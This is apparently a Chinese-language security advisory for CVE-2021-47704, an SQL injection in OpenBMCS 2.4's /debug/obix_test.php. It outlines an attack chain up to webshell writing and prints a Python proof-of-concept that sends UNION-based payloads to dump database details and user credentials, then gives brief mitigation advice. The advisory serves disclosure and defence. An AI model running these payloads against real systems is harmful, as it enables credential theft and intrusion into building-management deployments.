IPBUF安全漏洞报告
English
CVE-2021-47704 CVSS 6.5 中危

OpenBMCS 2.4 SQL注入漏洞 (CVE-2021-47704)

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2021-47704
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenBMCS

相关标签

SQL注入OpenBMCSCVE-2021-47704Web应用安全数据库注入认证绕过建筑管理系统OWASP Top 10

漏洞概述

CVE-2021-47704是OpenBMCS 2.4版本中的一个高危SQL注入漏洞。该漏洞存在于/debug/obix_test.php文件中,由于对用户输入的'id'参数缺乏充分的过滤和验证,攻击者可以通过构造恶意的SQL代码片段注入到数据库查询中。成功利用此漏洞,认证攻击者能够操纵数据库查询语句,进而提取敏感信息,包括但不限于用户凭据、配置文件数据、业务数据等。OpenBMCS是一个开源的建筑管理控制系统,广泛应用于智能楼宇和设施管理场景,因此该漏洞可能影响到大量部署该系统的企业和组织。由于攻击者需要具备一定的认证权限才能发起攻击,但其低权限要求使得该漏洞的利用门槛相对较低。

技术细节

漏洞根源在于OpenBMCS 2.4的/debug/obix_test.php文件对HTTP GET请求中的'id'参数直接拼接到SQL查询语句中,未使用参数化查询或输入过滤机制。攻击者可通过构造类似id=1' OR '1'='1的Payload绕过认证或提取数据。具体来说,当用户请求/debug/obix_test.php?id=malicious_payload时,应用程序将用户输入直接代入SQL语句执行。例如,使用UNION SELECT语句可以联合查询数据库版本、用户名、密码哈希等信息。由于应用程序以数据库高权限账号运行,攻击者甚至可能通过LOAD_FILE或INTO OUTFILE等MySQL函数读取服务器敏感文件或写入webshell。该漏洞属于典型的OWASP Top 10中的A03:2021-Injection类别,CVSS 3.1评分6.5主要反映了其对机密性的高影响。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统,发现OpenBMCS 2.4部署并访问/debug/obix_test.php端点
STEP 2
步骤2
攻击者获取有效认证凭据(低权限用户即可),或利用系统配置缺陷获取访问权限
STEP 3
步骤3
构造恶意SQL注入Payload,通过GET请求的'id'参数注入到数据库查询
STEP 4
步骤4
利用UNION注入或布尔盲注技术提取数据库中的敏感信息,如用户表、密码哈希等
STEP 5
步骤5
若数据库权限足够,攻击者可进一步读取服务器文件或通过INTO OUTFILE写入webshell,实现RCE

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47704 OpenBMCS SQL Injection PoC # Target: OpenBMCS 2.4 /debug/obix_test.php def exploit(target_url, payload): """ Exploit SQL injection in OpenBMCS 2.4 Args: target_url: Base URL of the vulnerable application payload: SQL injection payload """ # Construct the vulnerable endpoint vuln_endpoint = f"{target_url}/debug/obix_test.php" # Prepare the malicious request params = {'id': payload} try: # Send GET request with SQL injection payload response = requests.get(vuln_endpoint, params=params, timeout=10) print(f"[*] Target: {vuln_endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Response received. Length: {len(response.text)}") print("\n[+] Response snippet:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example payloads if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target.com" # Basic injection test print("=== OpenBMCS CVE-2021-47704 PoC ===") # Test 1: Boolean-based blind injection payload1 = "1' AND 1=1 -- " print("\n[Test 1] Boolean-based injection:") exploit(target, payload1) # Test 2: Extract database version payload2 = "1' UNION SELECT NULL,version(),user(),database() -- " print("\n[Test 2] Extract database information:") exploit(target, payload2) # Test 3: Extract users table payload3 = "1' UNION SELECT NULL,username,password FROM users -- " print("\n[Test 3] Extract user credentials:") exploit(target, payload3)

影响范围

OpenBMCS 2.4

防御指南

临时缓解措施
立即限制/debug/obix_test.php的访问权限,或在Web服务器配置中禁止外部访问该路径。同时,对所有数据库查询实施参数化查询,对用户输入进行严格的过滤和验证。建议在防火墙层面添加规则阻止对/debug路径的访问,直到官方发布安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表